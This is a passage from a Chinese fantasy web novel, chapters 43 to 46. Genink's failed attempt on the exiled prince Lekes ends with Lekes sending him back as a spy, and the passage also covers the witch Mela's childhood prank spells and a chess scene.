因此他竟然连一小片能够遮阴的地方都找不到,只好加快了下山的速度。 没想到,当葛誻膤團對宁克回到几乎可以称得上家徒四壁的屋子里时,面对的却是一个惊天噩耗。 哈威杰被领主的人给带走了。 “菲妮,这到底是怎么一回事?”葛宁克急忙问讷讷地站在一旁,神情哀戚的女人。 女人对上葛宁克焦急的目光,仿佛被烫到了似的,身子情不自禁地瑟缩了一下。 “葛宁克大哥,哈威杰表哥是为了我才自愿被带走的。” 女人的身后,刚刚成年不久,却瘦骨伶仃得像是根本没长大似的少年开口道。 “刚才突然有一群人闯进村子里,说领主大人打算征集人手去干一件重要的活,丝毫不给我们求情的时间,就让村长将各家的成年男人叫出来,站成一队,准备带走。他们说,每家至少得出一个人,哈威杰表哥于是顶替了我的名字,跟着他们一起走了。” 葛宁克听了这番话,还来不及反应,菲妮却一把挡在了少年的面前,隔开了他们,“这事你别怪哈鲁,我也舍不得哈威杰,但哈鲁如果被带走了,就铁定活不下来了。” 反倒是哈威杰,好歹从前是能被选上王宫作为侍从的,无论是身手还是身板都比弱不禁风的哈鲁强多了,换做他去,说不定还有活着回来的机会。 葛宁克哑然,却说不出半句指责菲妮的话。 毕竟菲妮对葛宁克和哈威杰,是有收留之恩的。 当初葛宁克和哈威杰侥幸逃出来后,商量着到哪个地方能躲个几年,把这阵风头躲过去再说。 “不如去我姨妈那吧。”哈威杰主动提议道。 他说他母亲有个关系很远的小表妹,当年嫁到了雅兰特领,那地方离王城十分遥远,又穷,鲜少有生面孔出现,不过有他的姨妈作掩护,一定比在其它地方被认出来的风险小多了。 见识过伊莱雅的赶尽杀绝之后,葛宁克也觉得雅兰特领不错,于是在哈威杰的带领下敲响了菲妮的家门。 这是一栋从外表来看十分破败的房子,屋门亦老旧得不像话,能留存至今大概是托了雅兰特领鲜少刮风下雨的福。 葛宁克甚至能从门上的破洞看到一道人影走近,“吱呀”一声开了门。 面对突然找上门的外甥和外甥的同伴,菲妮尽管面露难色,却并没有拒绝他们留下来。 只不过她的身后,站着一大一小两个男孩,都是一副饿得面黄肌瘦的模样。 想到这,葛宁克什么话都说不出来了,菲妮想要自己的孩子活下来有什么错。 但让葛宁克什么都不做,他也办不到。 所以他决定去找人打听一下,雅兰特的领主征集人手到底打算让他们去干什么。 葛宁克最后花了半个月的功夫,搭上了雅兰特子爵麾下的一名骑士,再从他口中得知,他们抓来平民,竟然是为了送去黑暗森林,寻找消失已久的莱克斯殿下的踪迹。 “莱克斯殿下……竟然出现在了黑暗森林吗?”葛宁克斟酌着问出口。 他没想到,当年伊莱雅的担心竟然成真了。 莱克斯居然如此命大,带着一身伤都仍然活了下来。 “嗨,谁知道子爵阁下是从哪得来的消息,听说是五年前,曾有人目睹过有着金发金眸的男孩出现在黑暗森林附近。” 至于是不是莱克斯殿下,应该也没人能冒充得了王室独有的外貌。 “五年前?这么多年过去了,王子殿下一个人真的能在那种鬼地方活下来吗?我看子爵阁下该不会是被人给骗了吧。” “要我说,我也和你是一个想法,可子爵阁下要让我们做什么,我们难道还能反抗不成?总之他是铁了心,非要让我们找到莱克斯王子的下落。你别看我现在还能和你在这瞎聊,过两天可就要带着人亲自前往黑暗森林了。” “唉,从这到黑暗森林起码得走上半个月,也不知道那群胳膊还没你手腕粗的下等人能不能坚持到那时候。”骑士抱怨道。 喝了一大口酒后,他拍了拍葛宁克的肩膀,语气中不免带上了一丝探究,“说起来,你这么壮实的体格,在咱们雅兰特领可不多见啊?” 这里大多数人连吃饱饭都不容易,怎么可能像葛宁克一样长出一身的肌肉来。 “嗨,不瞒你说,我那没良心的父亲可不是穷困潦倒的雅兰特领人,在他没抛弃我母亲之前,我还是吃过几年饱饭的。”葛宁克的身体微不可查地僵了一下,好在他反应快,飞快地胡编乱造了个身世出来。 原来是被抛弃的私生子。骑士发出了然的笑声,倒也没有怀疑葛宁克是在骗他。 还是那句话,这破地方,除了傻子,谁乐意跑来。 得知具体情况的葛宁克回到了菲妮的住处。 对上那双惶惶不安的眼睛,葛宁克原本想说的话到底还是咽了回去,还出言安慰了她几句。 “那、那哈威杰他还能回来吗?”菲妮问。 “……我也不能肯定。”葛宁克摇头,长叹了一口气,“一个月后,大概就能知道了,在此之前,我们除了为他祈祷外,毫无办法。” 显而易见的,哈威杰并没有回来。 否则葛宁克也不需要再走这一遭了。 他认为是莱克斯杀了哈威杰。 同时他听说雅兰特子爵对这次无功而返的结果感到十分不甘心,还要征集第二次人手,再往黑暗森林去一趟。 菲妮和哈鲁重新陷入惴惴不安之中。 见状,葛宁克下定决心,独自一人上路,打算从源头解决这件事。 只不过没想到外面竟然这么乱,好端端地走在路上都能被抓走,要不是幸运地遇上了格温蒂尔,他现在大概已经成了某座庄园里只能埋头干活的奴隶。 或许还要因为手脚不够麻利,吃几记鞭子。 但是,葛宁克就是有这么好运,不仅被格温蒂尔救下,在一路明里暗里地引导她来到黑暗森林之后,竟然还靠她撞见了女巫。 那天晚上,甫一看到一个美丽的女人出现在眼前,葛宁克不由自主地屏住了呼吸——倒不是见色起意,完全是他一眼就看破了她的身份,毕竟除了女巫外,还有哪个女人胆敢孤身一人地行走在黑暗森林之中。 可傻乎乎的格温蒂尔却相信了女巫的说辞。 算了,葛宁克想,像格温蒂尔这样缺心眼也挺好的,没看见连女巫都对她卸下了防备吗。 于是葛宁克有事没事便要找借口离开,给两人留下了充足的空间。他能感觉到,梅拉似乎对他很是警惕。 与此同时,葛宁克也在试图寻找梅拉的住处。他肯定,莱克斯一定就在那。 葛宁克不是没有尝试过跟踪梅拉。 然而梅拉敏锐得超乎他的想象。 没办法,葛宁克只好换了个法子。 他故意弄伤了自己,试图让梅拉主动提出带他回到住处。 可惜梅拉没有上钩,她似乎只是看在格温蒂尔的面子上,简单地为他止了血。 不行,不能就这么放过这个机会,葛宁克想。 于是他趁梅拉和格温蒂尔不注意,重新将伤口弄出了血,又作出一副放心不下格温蒂尔的模样,让梅拉意识到,救他就是在救格温蒂尔。 果然,梅拉被打动了,带着他们回到了小木屋。 冷不丁看见金发金眸的少年出现在眼前时,葛宁克用了十足十的克制,才压下了胸口的激动,可他的身体却情不自禁地在发颤。 为了防止莱克斯看出他的异样,葛宁克装作诚惶诚恐的样子拒绝了他为他上药。 接下来,葛宁克一直在暗中观察着莱克斯,真是令人难以置信,曾经高高在上,侍从们前呼后拥的王储殿下,如今竟然在女巫的小木屋里充当一个厨娘。 任由女巫对他呼来喝去。 在享用晚餐前,梅拉将莱克斯叫了出去,两人花了好一阵子才从屋外回来,也不知道是在做些什么。 期间葛宁克对此不是不好奇,但他却让塞拉斯给缠住了。 塞拉斯说它跟随梅拉在黑暗森林住下后,从未离开过这里,十分好奇外面的世界,接二连三抛出来的问题将葛宁克困在屋子里,不得不参与它和格温蒂尔的聊天。 这时候,葛宁克又开始觉得格温蒂尔这样天真的性格真是烦人了,也不知道她的脑子里装的都是水吗,竟然能和一只乌鸦聊得有来有往。 好在葛宁克终于等到了他想要的机会。 他躺在冰凉的木制地板上,听到屋内均匀的呼吸声,陡然睁开眼,盯着高空上银色的月亮看了好一阵。 葛宁克想起了五年前的那个晚上,他带着人追在狼狈如丧家之犬的莱克斯的身后,那天的月光也是这么地亮。 一切就好像那一夜的重演。 而他来到黑暗森林,重新见到莱克斯,为两人的结局注上句点,就仿佛命中注定一般。 只要杀了莱克斯,一切就结束了。 葛宁克起身,解下了藏在后腰上的匕首。 然而葛宁克失败了。 莱克斯根本没有睡着,他的身手也比五年前要厉害得多。 葛宁克都没来得及反应,就被莱克斯轻易压制住,原本握在手里的匕首也落入莱克斯的手中,放到了他的脖子上。 算了,这又何尝不是一种结束呢。 被麻绳捆起来的那一刻,葛宁克不为人知的心底竟然诡异地冒出了一丝解脱。 “可是,”梅拉听了半天,残忍地道出一个事实,“我们并没有见过你口中的哈威杰啊。” “不如说,那个什么雅兰特子爵派出的人,我们一个都没见到。” “没错没错!”塞拉斯附和道。 “不可能!”葛宁克不肯相信,他可是眼睁睁地看着一群人离开了雅兰特领。 “你好像误会了什么,我说的并不是他们没有来到黑暗森林,而是还没来得及见到我们,就倒霉地没了命。” 说着,梅拉放松地往后一靠,摇椅顿时发出吱呀吱呀摇晃的响声。 “黑暗森林这么大,会遇上怎样的危险都说不定。” 毒蛇、狼群、沼泽、雾瘴,类似的危险数都数不清,没点本事的人进来,只是白白送命。 “说起来,我的宠物曾经捡到过一枚纽扣,和你衣服上的款式一模一样,我想它应该就是从哈威杰身上掉下来的。”梅拉又道。 在雅兰特领呆了五年,像这样由王城的裁缝制作出的好衣服,葛宁克和哈威杰定然是穿了又穿,仔细地爱惜着。 当哈威杰穿着这身衣服来到黑暗森林,是否会想到他的生命就像这枚掉落的纽扣一样滚落到了泥土中呢? “那您的宠物有见到哈威杰的尸体吗?如果可以,我想再看他一眼。”葛宁克急切地道,眼中含着泡沫一般一戳就破的希冀。 作为失败者,他下意识地将梅拉放到了高位,口中不自觉地带上了尊称。 遗憾的是,梅拉摇了摇头,给出了一个令人失望的答案。 “好了,我想要问的问题都问完了。既然他是冲着你来的,那接下来就交莱克斯你来处置吧。”梅拉道。 “好。”莱克斯捏紧手里的绳子,将葛宁克带了出去,他们的脚步声逐渐消失在了远离小木屋的地方。 “那么你呢,格温蒂尔,接下来你有什么打算呢?”梅拉看向全程神游在外,被葛宁克抛出来的事实震惊得一愣一愣的格温蒂尔,眼底不免带上了些许怜悯。 “我吗?”作为从头到尾被葛宁克利用了个彻底的人,格温蒂尔很难说清楚自己此刻的心情,如果说她刚开始完全是直冲脑门的愤怒的话,随着她听完整个故事,心底却只剩下了五味杂陈。 在这个故事里,她完全是个无辜的倒霉蛋,只是因为运气不好撞上了葛宁克,就莫名其妙地被卷入了其中。 要是早知道善良也会给自己找来麻烦,她就——她还是会选择救下葛宁克。 不能因为救了一个坏人就批评善良的行为是错的,错的是坏人才对。 尤其梅拉这一问,让格温蒂尔开始思考以后自己一个人该怎么办,更是发现如果没有葛宁克,她未必能一路安全地走到今天。 停停停,不能再想葛宁克了,格温蒂尔使劲晃了晃脑袋,试图把葛宁克这个人彻底从脑子里晃出去: “我打算先离开黑暗森林。” 然而这事光靠她一个人,肯定是做不到的,所以。 格温蒂尔大着胆子问道,“你能帮我吗?” “当然可以,”梅拉答应得很痛快,“如果你需要,我会让莱克斯将你送到森林的边缘,到时候你想往哪里去都随你的心意。至于护送的费用,只要一枚金戒指就好。” 一枚金戒指!格温蒂尔瞪大了眼睛,感到有些肉疼,这会儿她身上还剩下的首饰可不多了。 见她犹豫,梅拉慢悠悠地补充道,“这可比你救下葛宁克要便宜多了。” 格温蒂尔顿时觉得自己本就千疮百孔的心上被人狠狠地补了一刀。 女巫果然是邪恶又残忍的存在!她的良心压根不会痛吗? 格温蒂尔咬牙切齿地想到。 第44章 第 44 章 [莱克斯剧情居多] 为了能够顺利地离开黑暗森林, 格温蒂尔还是忍痛从身上摸出了一枚金戒指,交给了梅拉。 这个办法还是葛宁克教她的。 葛宁克说首饰盒又大又显眼,容易被人盯上,不如将盒子丢了, 把剩下的首饰分散藏在身上, 这样就算遇上意外,也不至于一点活命的东西都留不下来。 格温蒂尔走后, 梅拉将金戒指放在阳光底下, 泛起了耀眼的光芒。 塞拉斯在一旁, 眼睛都看直了。 “好漂亮的戒指……” 对塞拉斯来说, 只要够亮、够大, 那就是世上最美丽的宝物。 可惜这枚戒指是格温蒂尔交给梅拉的,它只能直勾勾地盯着犯犯眼馋。 “塞拉斯,收收你的口水。”梅拉漫不经心地瞥去一眼。 塞拉斯下意识地照着她的话去擦嘴角, 结果发现被骗了, 它的嘴角明明什么也没有。 梅拉发出一声轻笑,将戒指与发带搁到了一起。 梅拉没有戴首饰的习惯,这么多年仅有一条发带,用来在她嫌头发乱糟糟地垂在身后太碍事的时候,简单地把它们扎起来。 梅拉扎头发的手艺同样糟糕,好在她只需要不会有头发不小心掉到装满药水的瓶子里就好。 与此同时,梅拉倒是有一个专门用来装钱的盒子, 里头塞得满满当当, 最上层的银币也遮不住底下若隐若现的金光。 可惜按照她前不久才从格温蒂尔嘴里知道的物价,这一盒子钱币的价值简直缩水得厉害。 也不知道莱克斯若是成功夺回王位,能不能让钱币重新变得值钱起来。 听到身后传来脚步声,梅拉头也没回, “把人送走了?” “嗯。”莱克斯应道。 用过早餐之后,莱克斯就按照梅拉的吩咐,将格温蒂尔一路带到了森林的边缘。隔着一层层树影,已然能看到属于外头小道上的一点泥黄色。 格温蒂尔和莱克斯没什么交情,自然用不着像她和梅拉似的道别,几乎可以说是迫不及待地往外奔去。 莱克斯没有立刻离开,而是看着格温蒂尔的身影彻底消失不见,他兀自盯着视线之中那点土黄色出神。 这些年,哪怕已经熟知从小木屋离开黑暗森林的路线,莱克斯却从没有一次主动来到过森林的边缘,这一次倒是误打误撞地来了。 离开的出口近在咫尺,莱克斯的脚步动了,却是朝着相反的方向,他要回到小木屋。 看到梅拉熟悉的背影那一刻,莱克斯心中的恍惚突然沉了底,仿佛绑住了一块沉甸甸的巨石,有着不容拒绝的力量。 “对了,你还没说昨晚是如何处理葛宁克的呢?”梅拉好奇地问。 尽管昨晚莱克斯是带着绳子独自走了回来,但梅拉却不像格温蒂尔一样,飞快地脑补了不少可怕的画面,她能肯定,莱克斯并没有对葛宁克做什么。 “我没有对他做什么。” 果然,莱克斯道。 比起除掉一个试图杀害自己的人泄愤,莱克斯对葛宁克实际上另有安排。 他告诉葛宁克,若是他愿意回到雅兰特领,想办法混到雅兰特子爵身边,他可以放过他这一回。 “我相信雅兰特子爵不会拒绝一个难得送上门的好用的帮手。做贵族的侍从,这件事你应该并不陌生,不是吗?”莱克斯紧紧盯着葛宁克的眼睛。 也是到了这时候,葛宁克才发现莱克斯的气势与在小木屋中时陡然一变,被莱克斯这样盯着,竟然令他不自觉地想要臣服。 做惯了低位者,骨子里天然就对上位者有控制不住的惧意。 所以,这位曾经的王储,先前那副冷淡乖顺的模样是故意装给女巫看的吗?葛宁克忍不住怀疑到。 莱克斯才懒得管他在想什么,他的耐心在对梅拉之外的人都显得不太充足,见葛宁克不回答,匕首往前挪了半分,在葛宁克的脖子上划出一道血线。 “我愿意为您做事!”葛宁克能感觉到如果自己不答应,莱克斯是真的想要杀了他,忙惊呼道。 也是,如果他不愿意帮莱克斯做事,那他和路边的一块石头、一根树枝有什么区别,都是对莱克斯来说无用的东西。 “但是,我在雅兰特领没有一个正常的身份,能够用来接近雅兰特子爵……”见莱克斯停下手中的动作,葛宁克又道。 “你不是可以学习你的同伴哈威杰,顶替别人的名字吗。”莱克斯冷淡地给出办法。 其实也是哈威杰的做法给了莱克斯灵感,换做别的领地,这样冒名顶替的事情大概率根本行不通,但哈威杰能成功,就说明雅兰特领从上到下都比他想象的要好操作得多。 难道当初带哈威杰走的那些人,看不出他不对劲吗?无论是从身材来看还是年龄来看,哈威杰都和真正的哈鲁相去甚远。但他还是被带走了,意味着对那些人来说,人是不是真的不重要,完成上头交代下来的任务才重要。 空有野心却没有能力的领主,自然压制不住手下。莱克斯的眼神一暗,想起了许多年前斐南基对他的教导。 “殿下,以您的身份和权势,天然就有许多人围绕在您的身边为您做事,但您得明白,我们服从的是权威,而并不是您这个人。” 至于斐南基的未尽之言,莱克斯也想得很清楚,若是没办法让底下的人真心服从他这个人,一旦他失势,他就会立刻变得孤立无援。 这对一名王储,乃至未来的国王,都是十分致命的。 “……具体该怎么做,就看你自己了,我希望你不要白白浪费我给你留下的这一条命。” 莱克斯将绳结抽开,原本绑在葛宁克身上的绳子顿时掉在了地上。 “等到我成功混到雅兰特子爵身边之后,您还需要我做什么呢,殿下?” 离去前,葛宁克踌躇地叫住了莱克斯。 听到那声久违的“殿下,莱克斯并不曾回头,只留给葛宁克一个背影。 月光照在莱克斯的背上,清冷而孤傲。 “若是有必要,我会再联系你的。这期间你只需要当一双眼睛,替我看见在雅兰特领所发生的一切。” 说完,莱克斯不再管身后一脸纠结的葛宁克,带着绳子回到了小木屋。 格温蒂尔往他的身后一看,没发现葛宁克的身影,也不知脑补了什么,脸色迅速变得惨白。 倒是梅拉一如既往,打了个哈欠,说着总算可以好好睡觉了,于是就重新在躺椅上睡了过去。 这回她是真的睡着了。 所以等到了第二天,才想起来要问莱克斯,有关葛宁克的去向。 听到莱克斯说放葛宁克离开了,梅拉了然地点点头,没有再问。 要知道当年才十二岁的莱克斯,就已经展露出了他博大的胸怀,只要能为他所用,他甚至可以邀请一名立场不明的女巫加入自己的麾下,也不怕她偷偷给他下黑手。那么他放走一个曾经差点害他没命的人,又有什么值得奇怪的呢? 反倒是莱克斯心念一动,“你怎么不问问我,为什么要放他离开?” 梅拉奇怪地看了莱克斯一眼,“我知道这个做什么?” 反正莱克斯这么做的理由梅拉不用猜都能知道,无外乎是为了他半年后离开黑暗森林后做准备。 可这跟梅拉有什么关系呢?她又不会跟着莱克斯一起离开。 不过看在这么多年的情分上,梅拉对莱克斯眨了眨眼,“如果你需要分享的话,我倒也不介意你来找我聊聊,毕竟我这辈子都不打算离开黑暗森林,你也就不用担心我会泄密了。” 莱克斯忽然没了声音。 他垂下眼帘,光线顺着深邃的轮廓描摹他精致的五官,却描绘不出他此刻的想法。 梅拉笑了一声,走过去拍了拍莱克斯的肩膀。 只不过在她需要微微踮起脚的那一刻,梅拉突然意识到莱克斯好像又长高了。 少年的身高像拔地而起的杉木,一寸寸生长,连带着下颌的棱角都逐渐变得锋利,仿佛一柄渐渐冶炼完成的长剑,只待出鞘。 “你该不会是为了我的话在不高兴吧?可抢回属于你的王位,向当初陷害你的人复仇,这不是你一直以来的心愿吗?既然迟早是要分别的,我提前说出来也没问题吧,不要那么小心眼啦。” 梅拉说着,从桌上端起一盘洗干净的刺莓果,红彤彤的果子滴溜溜地在雪白的盘子里滚动,看着格外讨喜。 “张嘴。”她挑了一颗最大的,塞到莱克斯嘴里。 “好吃吗?”梅拉笑吟吟地问。 莱克斯下意识一口咬破果皮,顿时尝到了酸酸甜甜的汁水。 明明是他亲手一颗颗挑出来,认为绝对不会太酸以至于难吃到让梅拉皱眉的果子,此刻却在他的舌头上泛起惊涛骇浪一样的酸涩。 莱克斯觉得梅拉说得没错,他们迟早是要分开的。 但梅拉却好像并不为这终要到来的分别而有一丝一毫的伤心。 毕竟在她的眼里,她和莱克斯根本不会有长远的未来,他们注定只能相处这一场。 “挺好吃的。”莱克斯评价道。 “我也觉得你挑果子的眼光非常不错。”梅拉喜滋滋地给自己也挑了一颗又一颗的刺莓果,一口下去满是丰沛的汁水,在嘴里酝酿出清爽的口感。 “要再来一颗吗?”梅拉问。 她这算是在哄他吗?莱克斯不知道。 或许是吧。 即使梅拉哄人的手段根本算不上高明。 “嗯。”莱克斯稍微低下头,咬住了梅拉递来的果实。 即使再一次尝到酸涩的味道,他却甘之如饴。 第45章 第 45 章 [梅拉与艾莉卡的过去]…… 梅拉久违地来到了小木屋的地下室。 平时除了莱克斯会定时拎着掸子下来清理书籍之间的落灰之外, 梅拉鲜少光顾地下室,盖因她早已将书上大多数的内容都牢牢记在了脑子里,实在没必要再靠翻书验证,多此一举。 今天则是个例外。 梅拉咬着笔杆想了半天, 愣是没想起来多年前曾看到过的某个冷僻咒语, 于是她摘下挂在墙上的钥匙,找到了地毯下隐秘的木门。 只见灰色的钥匙插进锁眼里, 轻轻一扭, 梅拉的耳边顿时响起了“啪嗒”一声。 好了。 梅拉拉住拉环, 费了点力气, 总算将厚重的木门拉起, 露出底下通往幽深的台阶。 借着窗外漏进屋里的光线,梅拉顺着台阶往下走。 地下室内,一座座堆叠得歪七扭八的书山投下了浓重的阴影, 梅拉不得不偶尔踮起脚, 偶尔俯下身,一一查看书籍上的书名。 最终,梅拉从狭窄的缝隙钻进去,在犄角旮旯里找到了一本薄薄的册子。 拿着它从地下室走出来,梅拉将木门推回去,重新上锁,整理好地毯, 这才走到椅子前坐下。 将册子往桌上平平一摊, 梅拉在扉页看到了尚且稚嫩的字迹。 一笔一划,都能看出字迹主人在书写时的认真。 “咦,这字怎么看起来像你还是个孩子时写的?”塞拉斯好奇地溜达过来,不忘带着它刚剥好的一小碟花生米。 “这就是我九岁时写的册子。”梅拉答道。 “哦?快让我看看这上面写的都是什么!”塞拉斯听了, 顿时像是打了鸡血一样激动,非要把毛茸茸的脑袋凑过来,怼着册子看得仔细。 “……喷嚏咒、打嗝咒?痒痒咒、狂笑咒?等一下,这都是些什么乱七八糟的咒语?”塞拉斯瞪圆了眼睛,只觉得这些咒语简直是专门为了整蛊而生。 梅拉却轻轻地哼笑了一声,显得十分得意,“别看它们好像只能拿来恶作剧,但当年可是帮我教训过不少讨厌的家伙呢。” 梅拉口中“讨厌的家伙”,指的当然是白松镇上的人。 大人们兴许还要为自己的行动扯上一层合理的遮羞布,譬如他们不会明着说梅拉的坏话,只会委婉地以为梅拉好的名义提醒威普多,应该少让梅拉与草药和脏兮兮的伤口打交道。 瞧瞧昨天梅拉抱着一只受伤的兔子公然招摇过市,兔子身上的毛发都被血糊住了,梅拉看起来却一点也不害怕,这副冷酷的模样可真让人吓一跳。 相比之下,孩子们的恶意却是实打实的毫不掩饰,他们会三三两两地聚集到一起,守在梅拉必定经过的路上,等着梅拉在他们面前走过,然后发出或高或低的窃笑声。 还有含着坏心眼的小混球,会搞怪地喊胡乱给梅拉起的绰号,接着赶在梅拉的视线扫过来之前一哄而散。 梅拉冷漠地收回视线,照旧我行我素地沉浸在草药的世界中,连一个多余的眼神都懒得送出去。 她才不要跟连自己名字都写不明白的笨蛋计较。 如果说前者的酸言酸语,威普多根本不会放在心上,可轮到后者,他虽然不清楚梅拉在暗地里受到了怎样的奚落,但看到梅拉总是一个人独来独往,他难免升起作为一名父亲的担忧。 “梅拉,你要不要和隔壁詹森家的孩子们一起到山上捡松果?”威普多语气温和地问道。 他希望梅拉可以交些朋友,这样总不至于感到寂寞。毕竟他负责整个镇的病人,实在没法整日将注意力放到梅拉的身上。 “算了吧,我可不想因为一条发带卷入她们谁的战争之中。” 梅拉一眼看透威普多的想法,可她打从心底里觉得还是一个人比较自在,再说了,她宁可和苏珊家刚出生的小羊玩,也不想搭理隔壁詹森家的孩子们。 因为家里孩子太多的缘故,詹森太太是个惯爱偏心眼的母亲,她只会给最喜欢的孩子买礼物,对其他孩子渴望的眼神视而不见,导致家里的孩子们时常为了一条发带、一颗糖果吵得快要打起来。 与此同时,隔壁梅拉每天都能换不同颜色的发带,偶尔还能拿出糖块喂给老布吉的马,简直让詹森家的孩子们看得眼睛都红了。 他们也是最讨厌梅拉的孩子。 等到再长大些,调皮的男孩们还会故意来扯梅拉的辫子。 尽管他们往往十次里只有一次得手,但频频来找麻烦的行为还是让梅拉烦得不行。 后来,梅拉在山上遇到了艾莉卡,主动询问女巫有没有专门用来整蛊的咒语。 “那可太多了,喷嚏咒、痒痒咒、狂笑咒……”艾莉卡一口气数了十来个咒语,问梅拉想学哪个。 梅拉想了想,打算一次性学三个咒语。 “好吧,大胃口的姑娘,听好了。” 艾莉卡毫不停歇地一连念了三串咒语,接着也不管梅拉有没有记住,便合上了眼睛小憩,一副无论你再说什么我都不会回答的模样。 梅拉记住了咒语,高高兴兴地下了山。 接着每一个试图对她冷嘲热讽的家伙忽然就浑身发痒,不得不四处抓挠,动作十分滑稽;还有的家伙开始哈哈大笑,根本停不下来;最后还有人疯狂地打嗝,掐住喉咙也无济于事。 梅拉的嘴角勾起若有若无的笑意,愉快地踏入了家门。 “梅拉,苏珊家的小羊好像病了,她刚才想来找你帮她的小羊看看,可惜你正好不在家,我就让她先回去了。” 威普多从厨房里走出来,手里还端着一锅刚煮好的土豆。 “那我拿两个土豆去看看她吧。”梅拉想了想,用一块干净的布裹着两颗热乎乎的土豆,再挎上她的小篮子,就这么往苏珊家走去。 * “说起来,莱克斯你在王宫里的时候有过玩伴吗?” 梅拉今天让小册子勾起了一些有关童年的回忆,不禁好奇起了莱克斯的过去。 莱克斯对着木头敲敲打打的动作一顿,“……我没有玩伴。” 非要说的话,每日陪伴在莱克斯身边的只有斐南基和切尔各,两人分别占据了莱克斯上午和下午的时间。 和斐南基需要教导莱克斯如何成为一个优秀的王储相比,切尔各教给莱克斯的内容就简单多了,两人通常往习武场上一站,切尔各丢给莱克斯一把木剑,就让他开始随意地进攻。 等到莱克斯筋疲力尽之后,切尔各再一一指出他刚才做了哪些无用之功,白白浪费力气在了哪些地方。 若是这么指点后,莱克斯下次还犯类似的错误,切尔各就会一比一地复刻莱克斯的攻击,重新招呼到他的身上,让他身体力行地体会哪一下会疼得厉害,哪一下还能忍受。 到时候,莱克斯自然会清楚应该怎样又准又狠地挥剑,攻击敌人的要害。 “……听起来你的骑士长好像打人很狠的样子。”梅拉抚了抚肩膀,无端的打了个寒颤。 不对,她要问的不是这个。 斐南基和切尔各充其量只是莱克斯的大臣,和真正的玩伴相去甚远。 “难道你就没有一些兄弟姐妹之类的吗?” “我父王那一代活下来的孩子并不多,除了两个姑姑,就只剩一个常年病弱的叔叔。”莱克斯道。 莱克斯的两个姑姑分别是纳伊芙公主和碧妮丝公主,她们一个嫁给了拜亚德伯爵,一个还没来得及寻觅到心仪的未婚夫就生了一场重病,连王宫里的医士都束手无策,只能眼睁睁地看着碧妮丝公主虚弱地躺在床上,咽下了最后一口气息。 至于莱克斯的叔叔,杜瑟公爵,则一直待在领地中养病,听说每年的冬天他甚至虚弱到下不来床的地步。 而努伦格尔九世硕果仅存的这两位兄弟姐妹,纳伊芙公主自然和拜亚德伯爵恩恩爱爱地生了不少孩子,但莱克斯每回见到他们,都只觉得他们继承了拜亚德家族一脉相承的愚蠢自大,懒得同他们打交道。 至于杜瑟公爵,他的身体都弱成这样了,自然连继承人都没有。 在莱克斯的记忆中,甚至没怎么见过这位叔叔,只记得家族画像上的男人眉眼秀气,有着与努伦格尔这一姓氏截然相反的文弱气质。 “凳子做好了。”莱克斯将最后一根削好的木头嵌入小刀凿出来的孔洞之中,用了点力,确认新做好的凳子是结实的才递给了梅拉。 梅拉没有丝毫不放心地往上一坐,给出评价,“好像有点高了。” “那我再将凳腿砍短一点。”莱克斯颔首,按照梅拉的要求将这个小凳子修到了她满意的程度。 “啧啧啧。”塞拉斯砸吧着嘴路过两人,只觉得莱克斯在梅拉无理的要求下逐渐学会了如何成为一个厨娘、一个木匠、一个裁缝等等。 假如他未来做不成国王,靠着这些年锻炼出来的手艺应该也饿不死自己。 “你又在搞什么怪。”梅拉一把揪住塞拉斯的后脖颈,拎了起来。 忽然,梅拉察觉到一丝异样。 她的视线扫过塞拉斯的全身,最终停留在它的嘴角。 塞拉斯的嘴角很干净,但梅拉却能嗅到一缕若有若无的香气。 “我可什么都没干!”塞拉斯在梅拉的目光下下意识地一慌,张口就是此地无银三百两。 结果它不张嘴还好,一张嘴,那股香气直接飘了出来。 “塞拉斯!你是不是刚才躲在屋子里偷偷地吃了果酱!”梅拉十分笃定。 一点让塞拉斯撒谎的余地都没留。 塞拉斯闭了闭眼,没想到这都能被梅拉发现,明明它刚才克制着欲望,只吃了两勺果酱,还特地用干净的布洗了洗脸,确保没有留下半点痕迹。 早知道它就不多嘴了呜呜呜。 第46章 第 46 章 [小情侣互动] “哈, 这枚棋子我吃掉了。”梅拉兴奋地道。 只见地面上有数道或竖或横的线条,组成了一张简易的棋盘,方块大小的格子里则摆着十来个模样各异的木头棋子。 梅拉坐在矮凳上,脚边东倒西歪地放着不少类似的棋子, 都在刚才莱克斯教她下棋时故意让她吃掉的。 “错了, 兵棋不能这么走。” 坐在梅拉对面的莱克斯摇了摇头,将梅拉刚才落下的棋子移回了原位, 却没有直接告诉她兵棋怎样走才是正确的。 他先前已经同梅拉说过一遍规则, 只是她迫不及待地要开局, 看样子根本没记住他讲了什么。 见莱克斯不说话, 似乎打定主意要让她自己来, 梅拉冥思苦想了一会儿,重新拿起兵棋碰了碰斜上方属于莱克斯的棋子,试探地问道, “这样呢?” “那这枚棋子便归你了。”莱克斯道。无疑是在肯定梅拉的做法。 梅拉顿时美滋滋地把属于莱克斯的棋子拎回来, 放到了脚边的棋堆里。 整日闷在屋子里,即使是梅拉偶尔也有感到无聊的时候。 于是梅拉拿下盖在脸上的书籍,伸手拦住正好路过的莱克斯,问他有没有什么打发时间的消遣。 这还真把莱克斯给问住了,他罕见地沉默了许久。 “不是吧,难道除了整日举办舞会之外,你们在王宫里就没有别的事情可以做了吗?”梅拉有些诧异。 那呆在王宫里可真够无趣的。 “王宫确实是一个无趣的地方, 还没有在黑暗森林里自在。不过……”莱克斯总算想起了那么一个他偶尔会用来和斐南基打发时间的消遣。 那就是下棋。 既然要下棋, 首先得有棋盘和棋子。 棋盘就算了,拿根树枝在地上随意画一下倒也能用。 但棋子却是必不可少的。 为此,莱克斯拿出了小刀,开始日复一日地拿着木头练习, 试图按照记忆雕刻出像模像样的棋子。 梅拉则一脸新鲜地盯着莱克斯雕刻,“这上头凸起的这块是什么东西?” 莱克斯:“……这是马。” 他纠结地看着手中的棋子,难道看起来不像吗? “那这个就是骑士啰?”梅拉的目光移到另一枚已经雕刻完成的棋子身上,尽管莱克斯的手艺肯定比不上真正的木匠,但在这些粗糙的造型里,举剑的骑士是他刻得最传神的一样。 “接下来该不会有国王棋和王后棋吧?”梅拉随意猜测道。 莱克斯讶异地看了梅拉一眼,“你猜得没错。” “不过,你是怎么猜到的?” “这很难猜吗?士兵的上头是骑士,骑士的上头是贵族,贵族的上头当然是国王和王后了。” 莱克斯赞许地点了点头,但“没有贵族棋。” “咦?为什么?”梅拉不解。 “非要说个理由的话,大概是当初创造棋子的人刻意摒弃了贵族这一角色吧。否则这么一块棋盘,哪里塞得下这么多人。”莱克斯沉吟道。 总不能所有格子都塞满棋子,那样该怎么行进呢? 好吧,梅拉若有所思地点点头,是个挑不出错但也没有惊喜的理由。 